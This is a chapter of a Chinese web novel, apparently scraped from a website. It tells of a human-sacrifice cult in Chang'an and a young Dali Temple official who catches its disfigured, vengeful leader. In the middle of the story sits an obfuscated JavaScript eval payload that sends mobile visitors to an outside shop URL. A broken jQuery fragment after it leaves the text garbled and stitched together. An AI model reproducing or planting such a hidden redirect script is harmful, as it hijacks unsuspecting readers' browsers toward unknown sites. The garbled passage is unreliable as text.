“圣女,圣女不见了!”
被沈昭夕迷晕换了衣裳的侍女最早醒了过来,此时还未到子时。
一刻钟前,圣女入了宫,有了朝阳公主的保护。
侍女醒来,忙去看圣女的安危,房间外的侍卫全部消失,她暗道大事不好。
一打开圣女的房间,连圣女的影子都没看到。
本应守在门口的守卫,齐刷刷在里面躺了一排,她完了!她让圣女被人带走了。
侍女面色苍白,汗水大滴大滴地从额头滚落。
蹲下身用力摇晃着七零八乱倒在地上的守卫,“醒醒,醒醒!出大事了,“圣女不见了!”
守卫们迷迷瞪瞪地张开眼睛,捂着头,先后起了身。
发现自己在圣女的屋子里时,?间清醒,“不好了!快找!”
今夜子时就要举行祭祀仪式,圣女此刻不知所踪,要是在祭祀前,找不到圣女,海神生气了,他们都得遭天谴。
他们都是神玉教的教徒,神玉教宣扬用活人祭祀,可以保其余人平安顺遂。
被祭祀者得上天超度,来世可以脱生富贵之家。
其余的没有被祭祀给上天的只要加入了神玉教就会获得幸福。
今日由为特殊,由圣女亲自祭祀。
神玉教每十年才会有一位圣女可以祭祀海神,今天的是第一位圣女,也是神玉教有史以来最盛大的一场祭祀。
之前神玉教举办过几次的祭祀活动,但是规模都不大。
被祭祀者都是同圣女一般大的女子。
神玉教的成员都不会成为被祭祀者,被祭祀者需要从小就开始培养要求极其严格,且不能是教会的成员。
神玉教祭祀的方式有很多种:
如将被祭祀者捆绑于木架之上,点上火焰灼烧,在烈火中燃烧,来世将涅槃重生。
可保其余教徒五谷丰登,风调雨顺,收获颇丰。
将被祭祀者置于河中,看她们漫漫沉入河底,洗去一切尘埃,来世没有烦恼。
这般可保其余教徒无忧无虑,生活美满,好运连连。
圣女将作为人类奉上的新娘,投身入海侍奉于海神,来日就是海神的新娘。
这名侍女是因为运气好,圣女在神玉教的许多和她一般大年龄的姑娘中随手一指就选中了自己,自己才得以伺候圣女。
能够伺候圣女对于她们来说是天大的福分,如今她得了这个任务,圣女却不见了。
离献祭的时间不到一刻,他们仍寻不到圣女,忙派人去通知教主。
教主知道了此事,让他们一行人一并投身入海,供海神差遣。
子夜的海风裹挟着腥咸,吹得祭坛上的火把猎猎作响。
教主立于高台之上,半张银质的面具遮住了他一半的面庞,黑袍包裹了他的全身,神秘莫测,叫人瞧不真切。
他高举火把,声音嘶哑而狂热:
“圣女已得海神垂青,先行一步!凡人不可窥探神迹!今日,便由他们献祭,一同侍奉海神!”
火光映照下,那几名教徒兴奋无比,眼中无半分恐惧,反而面带微笑。
他们高举双臂,“扑通”几声闷响,浪花翻涌,人影转瞬被黑暗吞噬,海浪拍岸发出巨大的轰鸣,似在嘲弄这荒诞的祭礼。
他们的亲人看着他们的举动,十分欣慰,并不觉得这其中有什么问题。
这场盛大的祭祀海神的仪式一过,“神玉教”三个字就在长安中风靡了起来。
走在路上都能听到有人在谈论关于神玉教的事。
越来越多的人慕名加入了神玉教,甚至有不少的父母为了让自己的女儿能够成为圣女,将幼女交给了他们。
浮安帝尝试派人去镇压,但都于事无补。
事情越闹越大,神玉教不断地宣扬着活人祭祀,还闹出了一场神玉教的游街活动。
一旦开了个口子就合不上来了,越来越多的教徒开始在各处组织游街宣扬活人祭祀。
不过一星期,彻底风靡长安城。
教徒们对于教主所说的深信不疑,更有狂热者,将自己的亲人献祭以求超度。
朝阳公主也十分头疼,越来越多的人效仿这种行为,导致人员伤亡严重。
但她不易离宫,无法亲自去看看。
相比之下沈昭夕自由得多。
她在看神玉教游街时,无意间瞥见神玉教的教旗上有一个神似南冥图腾的标志。
南冥位于昭楚江南一代的苏州,是苏州里一个很神秘的村落,传言南冥有独特的秘术。
南冥术法并不外传,只在南冥居住的族人中流传,这图腾就是属于他们的标志。
沈昭夕即刻进宫将此事告诉了浮安帝和朝阳公主,不能放任神玉教这么发展下去。
神玉教多存在一天,就会多有无辜的人陷入万劫不复的地步。
浮安帝知道此事后,也重视了起来,将事情交由了大理寺少卿负责,想借此考验一下今年的探花郎司空南惜。
司空家的两兄弟刚前此日子上任。
司空南惜一上任就被迫接下了此案子。
好在大理寺卿是个极为和蔼的老头,因着上了年纪,对司空南惜传授毕生所学,当继承人培养。
大理寺卿将事情全权放给司空南惜去做,自己只在一旁指点迷津。
好不容易来了个新鲜的血液,司空南惜学得又快,大理寺卿不必全都亲力亲为了。
他年纪上来了早有些力不从心,奈何一直没有人往大理寺来,想着最多两年他就可以向圣上告老致仕了。
司空南惜跟着家里做生意长大,打小口才就是三兄妹中最好,在大理寺混得如鱼得水。
下面的人被他忽悠的一套一套的,大理寺卿又对他倾囊相授,很快就上了手。
原先的圣女现如今改名叫了迎潮汐,做了朝阳公主宫中的女官。
迎潮汐得知此事已经开始调查了,知道自己的机会来了,她主动去大理寺外击鼓鸣冤。
“咚!咚!!咚!!!”
三声鼓声,一声比一声响亮,一声比一声震耳欲聋,响彻整个长安。
不少人注意到了这里,有眼尖的发现这击鼓的不正是失踪的圣女吗?
大理寺审理的基本都是其他衙门处理不了的案子,而那鸣冤鼓三年五载也响不了几次。
大理寺刚接手了神玉教的事,失踪的神玉教圣女就来鸣冤,一时引起了不小的轰动。
圣女的身后还有两名女子,衣着华贵气度不凡,一看就不是普通人。
大理寺内的侍卫打开门,见了来人,忙下跪行礼,禀报给了大理寺少卿司空南惜。
司空南惜得知翎遥郡主和朝阳公主携浮安帝的圣喻而来听审,虽疑惑,还是让人请了进来,坐于上首。
迎潮汐将事情完整的阐述了她知道的所有,包括沈昭夕是如何救自己的,为何会成了朝阳公主的女官等。
最关健的是她想起了有一日有人称一男子教主,只是她也不太确定那男子究竟是不是教主。
迎潮汐还记得那男子的样貌,将那外形特点详细的描述了出来。
大理寺中的画师根据她所描述的外貌,画出了那幅图像,可以说是奇丑无比,五官都是正常的,但这一组合到一起倒是十分有特点了。
这名男子虽然不能确定他就是神玉教教主,可以肯定的是和神玉教脱不了干系。
司空南惜让人在全城贴满了那男子的画像,提供线索者给予相应的报酬,不出三日就抓到了那男子。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17916552|213346||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
男子倒是有恃无恐,直接承认了自己就是神玉教教主,所谓神玉教不过是为了报复所有人而已。
他笑得狂妄,抚上自己的脸,“从小到大,因为这张脸,我受了无数人的白眼和耻辱,我不甘于此。”
“我生于长安,长于长安,长大之后,因这脸一事无成,偶然听闻南冥有秘术,我知道我的机会来了。”
“我效仿南冥的图腾,设计出了神玉教,靠着自己的本事,无数人加入神玉教,没有人再歧视我,反而大家都仰仗着我。”
他先从贫瘠起地起势,一步步走向长安,过程中,又幸得一位贵人相助。
他十分享受这种被捧着的感觉,一步一步的将神玉教发展状大,看着那些被祭祀出去的生命,仿佛就能弥补自己受到的伤害。
他被审问的过程中没有害怕,也没有躲避,只有狂妄。
一阵风拂过,堂上烛火摇晃不停,忽明忽暗的,映得他那张脸格外扭曲。
他病态猖狂地笑道:“我恨他们,我要他们都死,都死!”
突然,他猛地抬起头,视线扫过上首的每一个人,质问道:“我,何错之有?”
“你的遭遇的确可怜,但更加可悲,可恨!”司空南惜直直注视着他,声音里含着怒意:
“那些死去的少女又何其无辜,又有多少人信了他的理论而家破人亡,他们受到的伤害又有谁来弥补!”
他轻哧一声,接着嘲讽道:
“你不去想着怎么压过那些曾经嘲笑他的人,反而伤害起那些弱势无辜的人,受到伤害的他们又做错了什么!”
“你又何尝不是变成了你曾经最讨厌的人?”
司空南惜的最后一句话彻底击垮了他,击败了他的心理防线。
他一句话也没说,任眼泪无声流淌。
神玉教也随着教主被抓而消失不见,教主则将于三日后午时问斩。
事情却并未结束,神玉教教主,不知何时撬开了锁链逃之夭夭。
他为更好的让别人信任他,加入神玉教,曾学过一些简单的障眼法,像撬锁什么的。
用曾经学到的东西,解了绳索,撬开了监牢的锁,逃出生天。
……
“等等,你,站住。”
卿如月盯着那个人有一会了,那个鬼鬼祟祟的,穿了一身黑,脸上戴着半副面具。
男子路过珠宝店时顺手牵羊,盗走了一串项链,速度极快,那老板都未发现。
卿如月一直盯着他,他一出手就把他逮住了,好巧不巧,隔壁就是大理寺,直拽着那人往大理寺去。
司空南惜和卿如月在公堂上见到对方的时候都有些惊讶。
“怎么是他/她?”
秉持着不能本报私仇的原则,卿如月还是将自己怎样抓到那人的事情给阐明了。
司空南惜打眼一看,正是那跑了的教主,竟偷东西被这个可怕的女人给抓了,可真是。
他才不会可怜这么一个坏事做尽的恶人,遇到卿如月啊,那确定倒霉。
卿如月趾高气扬地拍了拍手和身上的灰尘:
“原来你那日说的是真的耶,哎,探花郎的水准不怎么高啊!关个人都能叫人跑了。”
给司空南惜气得直跳脚,脸色涨红:“你说谁呢你?胆敢辱骂朝廷命官,好歹生于千金之家,怎得如此粗俗!”
“本小姐可没说是谁,是少卿自己这么想的,那我也没办法。”
卿如月摊了摊手,潇洒离去。
司空南惜直接将人拖下去凌迟,具体原因有几下几点:
一是为防止再生变故;
二是这样的恶人实在是死不足惜就应该被千刀万剐;
三是卿如月实在是太气人了,刚好拿恶人发泄一下。